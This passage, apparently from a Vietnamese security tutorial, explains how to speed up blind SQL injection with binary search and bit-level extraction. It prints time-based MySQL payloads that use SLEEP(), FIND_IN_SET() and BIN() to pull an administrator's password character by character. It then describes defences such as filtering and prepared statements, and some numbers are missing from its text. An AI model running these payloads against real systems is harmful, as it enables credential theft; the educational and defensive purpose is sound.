IV. Tối ưu hóa Blind SQL injection
Trong các phương pháp khai thác lỗ hổng Blind SQL injection đã xét ở trên, chúng ta cần kiểm tra rất nhiều trường hợp (hầu như là cần thử qua hết tất cả trường hợp về ký tự) để xác định chính xác từng ký tự của dữ liệu cần truy xuất, làm mất rất nhiều thời gian cũng như lãng phí tài nguyên. Hơn nữa, việc gửi liên tục nhiều request cùng lúc tới hệ thống có thể khiến cơ chế phòng vệ ngăn chặn chúng ta tiếp tục truy cập. Bởi vậy, chúng ta nghĩ đến và cần giải quyết bài toán tối ưu hóa tấn công Blind SQL injection. Các phương pháp chủ yếu giúp chúng ta giảm thiểu số lượng yêu cầu cần gửi.
1. Thuật toán tìm kiếm nhị phân (Binary search)
Ý tưởng thuật toán được cài đặt khá đơn giản như sau:
binarySearch(arr, x, low, high) repeat till low = high mid = (low + high)/2 if (x == arr[mid]) return mid else if (x > arr[mid]) // x is on the right side low = mid + 1 else // x is on the left side high = mid - 1
Giả sử ký tự cần tìm kiếm là một ký tự thường từ a đến z. Thay vì kiểm tra lần lượt từ đầu, chúng ta kiểm tra ký tự đó "đứng trước" hoặc "đứng sau" ký tự n - là ký tự trung gian. Cứ tiếp tục lặp lại phương pháp kiểm tra này sẽ rút ngắn "độ phức tạp" kiểm tra từ xuống .
2. Kỹ thuật dịch bit (Bit Shifing)
Trong bảng mã ASCII có ký tự có thể in được nhận, mỗi ký tự này khi mã hóa sang hệ nhị phân bắt đầu từ đến - cần bits thực hiện mã hóa. Ví dụ ký tự V:
Ký tự | Hệ nhị phân |
---|---|
V | 101 0110 |
Như vậy, thay vì xác định ký tự đó ở dạng đọc được (cụ thể ký tự a, b, c, ...), chúng ta có thể xác định toàn bộ bit của ký tự này, do mỗi bit chỉ nhận giá trị hoặc nên mỗi bit chỉ cần kiểm tra đúng lần, tổng cần lần kiểm tra. Thậm chí các lần kiểm tra này có thể thực hiện độc lập! So với phương pháp tối ưu bằng tìm kiếm nhị phân đã tốt lên rất nhiều.
Ví dụ, chúng ta cần kiểm tra bit đầu tiên sau khi đổi sang dạng nhị phân của mật khẩu người dùng administrator trong bảng users, nếu là bit thì trả về , ngược lại thực hiện lệnh SLEEP() delay trong giây (tương ứng bit cần kiểm tra là bit ), câu truy vấn như sau:
SELECT CASE WHEN (SELECT SUBSTR(BIN(ASCII(SUBSTR(password, 1, 1))),1,1) FROM users WHERE username = 'administrator') = '0' THEN 0 ELSE SLEEP(5) END;
Kết quả:
3. Kỹ thuật dịch bit nâng cao kết hợp bảng ký tự tự lập (Advanced Bit Shifing)
Kỹ thuật dịch bit được xét trong mục luôn cần lần kiểm tra (tương ứng với bit). Thay vì kiếm tra lần, chúng ta có thể tự lập một bảng gồm tập các ký tự cần kiểm tra cùng số thứ tự (dạng nhị phân), sau đó sử dụng ý tưởng từ hàm FIND_IN_SET() (trong MySQL): Liệt kê danh sách tất cả các ký tự cần kiểm tra, và tìm kiếm vị trí của ký tự cần truy xuất trong danh sách này, chuyển sang dạng nhị phân và kiểm tra từng ký tự như trong mục , cuối cùng là xác định số thứ tự này tương ứng với ký tự nào thông qua bảng đã lập. Xem xét cụ thể các bước:
Liệt kê danh sách tất cả các ký tự cần kiểm tra
Danh sách gồm các ký tự bắt đầu từ số thứ tự từ tới (hệ thập phân) trong bảng mã ASCII (không kể ký tự khoảng trống). Do chúng ta sẽ sử dụng hàm FIND_IN_SET() nên cần thay đổi cách hiển thị cho danh sách này. Tham khảo đoạn mã Python sau:
for i in range(33, 127): if chr(i) == "\'" or chr(i) == "\\": print("\\" + chr(i), end = ",") elif i == 126: print(chr(i)) else: print(chr(i), end = ",")
Lưu ý chúng ta cần thêm ký tự \
trước hai ký tự '
và \
. Kết quả thu được:
Truy vấn trả về vị trí ký tự cần tìm trong tập ký tự
Giả sử chúng ta cần truy xuất chuỗi mật khẩu của người dùng administrator, chúng ta có thể kết hợp hàm FIND_IN_SET() xây dựng câu truy vấn như sau:
SELECT FIND_IN_SET(SUBSTR((SELECT password FROM users WHERE username = 'administrator'),1,1), '!,",#,$,%,&,\',(,),*,+,,,-,.,/,0,1,2,3,4,5,6,7,8,9,:,;,<,=,>,?,@,A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z,[,\\,],^,_,`,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,{,|,},~');
Ký tự đầu tiên của mật khẩu là t
nên kết quả trả về ở vị trí như sau:
Chuyển số thứ tự sang nhị phân
Sử dụng hàm BIN() thực hiện chuyển số thứ tự này sang dạng nhị phân, câu truy vấn như sau:
SELECT BIN(FIND_IN_SET(SUBSTR((SELECT password FROM users WHERE username = 'administrator'),1,1), '!,",#,$,%,&,\',(,),*,+,,,-,.,/,0,1,2,3,4,5,6,7,8,9,:,;,<,=,>,?,@,A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z,[,\\,],^,_,`,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,{,|,},~'));
Kết quả:
Xác định từng bit trong chuỗi nhị phân bằng dấu hiệu SLEEP
Do lỗ hổng ở dạng blind nên chúng ta cần tận dụng hàm SLEEP(), kết hợp thêm hàm IF() xây dựng câu truy vấn kiểm tra như sau:
SELECT IF(SUBSTR(BIN(FIND_IN_SET(SUBSTR((SELECT password FROM users WHERE username = 'administrator'),1,1), '!,",#,$,%,&,\',(,),*,+,,,-,.,/,0,1,2,3,4,5,6,7,8,9,:,;,<,=,>,?,@,A,B,C,D ,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z,[,\\,],^,_,`,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,{,|,},~')),1,1) = '1',1,SLEEP(5));
Khi bit kiểm tra bằng sẽ thực thi bình thường, nếu không, câu truy vấn thực hiện lệnh SLEEP khiến delay giây. Trường hợp response bị delay giây cũng không hoàn toàn nghĩa là bit đang kiểm tra nhận giá trị . Bởi vì, tùy theo trường hợp ký tự kiểm tra thì vị trí có thể lớn hoặc nhỏ, dẫn đến khi chuyển sang dạng nhị phân có thể không hoàn toàn sử dụng tới bit (đây chính là ưu điểm của phương pháp này do không nhất thiết phải kiểm tra lần). Chúng ta cần tìm cách xác định số bit của vị trí đó. Xây dựng câu truy vấn như sau:
SELECT IF(SUBSTR(BIN(FIND_IN_SET(SUBSTR((SELECT password FROM users WHERE username = 'administrator'),1,1), '!,",#,$,%,&,\',(,),*,+,,,-,.,/,0,1,2,3,4,5,6,7,8,9,:,;,<,=,>,?,@,A,B,C,D ,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z,[,\\,],^,_,`,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,{,|,},~')),1,1) = '1',1,(SELECT IF(SUBSTR(BIN(FIND_IN_SET(SUBSTR((SELECT password FROM users WHERE username = 'administrator'),1,1), '!,",#,$,%,&,\',(,),*,+,,,-,.,/,0,1,2,3,4,5,6,7,8,9,:,;,<,=,>,?,@,A,B,C,D ,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z,[,\\,],^,_,`,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,{,|,},~')),1,1) = '0',SLEEP(5),SLEEP(10))));
Khi trường hợp bit đang kiểm tra không phải là , thực hiện một lần kiểm tra nữa, nếu bit đó là thực hiện hàm SLEEP() trong giây, ngược lại (là ký tự "ảo" vượt quá số bit cần kiểm tra) thì thực hiện hàm SLEEP() trong giây.
Để câu truy vấn không bị "cồng kềnh" và phức tạp, chúng ta có thể tối ưu một chút như sau:
SELECT @z:=SUBSTR(BIN(FIND_IN_SET(SUBSTR((SELECT password FROM users WHERE username = 'administrator'),1,1), '!,",#,$,%,&,\',(,),*,+,,,-,.,/,0,1,2,3,4,5,6,7,8,9,:,;,<,=,>,?,@,A,B,C,D ,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z,[,\\,],^,_,`,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,{,|,},~')),1,1); SELECT IF(@z != '', @z, SLEEP(5));
Câu truy vấn gán giá trị vào biến @z
, ở câu truy vấn hai sẽ thực hiện delay giây nếu bit kiểm tra có thứ tự vượt quá số lượng bit trong dạng nhị nhị phân của ký tự đang kiểm tra.
V. Một số biện pháp ngăn chặn tấn công SQL injection
Lỗ hổng SQL injection xảy ra là bởi kẻ tấn công có thể "inject" đoạn mã bất kỳ thông qua các tham số input. Chúng ta có thể kể đến một số cách ngăn chặn như sau:
1. Lọc (filter) các ký tự và từ khóa nhạy cảm
Đây là một trong những cách ngăn chặn đơn giản nhất, các ký tự nhạy cảm có thể kể đến như: '
, "
, --
, #
, (
, )
... và các từ khóa UNION
, SELECT
, FROM
, ...
Có thể sử dụng các hàm như replace_all() nhằm xóa các ký tự / từ khóa nhạy cảm, addslashes() thêm \
trước các ký tự '
, "
, \
và ký tự NULL, hoặc sử dụng biểu thức chính quy (Regular expression), ... Ví dụ đoạn code sau có nhiệm vụ phát hiện và ngăn chặn các từ khóa tiềm ẩn nguy cơ tấn công:
$id = $_POST['id'];
if (preg_match('/and|select|insert|update|[A-Za-z]|/d+:/i', $id)) { die('stop hacking!');
} else { echo 'pass';
}
Tuy nhiên cách này thường dễ dàng bị vượt qua (bypass) bởi kẻ tấn công có thể xây dựng payload tấn công khéo léo kết hợp các biện pháp encode, cắt ghép chuỗi, ...
2. Sử dụng Prepared Statements
Xét đoạn code php sau:
$query = "INSERT INTO users (username, password) VALUES (?, ?)";
$stmt = $mysqli -> prepare($query);
$stmt -> bind_param("sss", $username, $passowrd);
$username = "payload-1";
$password = "payload-2";
// execute the statment --> safe
$stmt -> execute();
Với Prepared Statements, các biến $username
, $password
truyền giá trị vào được đại diện bởi ký tự ? và hoàn toàn độc lập với câu truy vấn. Khi hệ thống thực thi câu truy vấn sẽ coi payload tấn công là một chuỗi và trực tiếp INSERT tất cả vào bảng users mà không làm thay đổi cấu trúc câu truy vấn $query.
3. Sử dụng các framework
Hiện nay các framework hầu hết đã có các biện pháp ngăn ngừa lỗ hổng SQL injection rất tốt. Khuyến khích nhà phát triển ưu tiên lựa chọn phát triển sản phẩm trên các frameword có tính bảo mật cao, có khả năng chống lại các cuộc tấn công SQL injection như: Entity Framework trong C#, Laravel trong PHP, ...
Tài liệu tham khảo
- https://paper.bobylive.com/Meeting_Papers/BlackHat/USA-2013/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-WP.pdf
- http://m.antoanthongtin.vn/giai-phap-khac/toi-uu-hoa-tan-cong-blind-sql-injection-101512
- https://vi.wikipedia.org/wiki/ASCII
- https://portswigger.net/web-security/sql-injection
- https://learn.microsoft.com/en-us/ef/
- https://viblo.asia/p/sql-injection-trong-laravel-Qpmle1n7lrd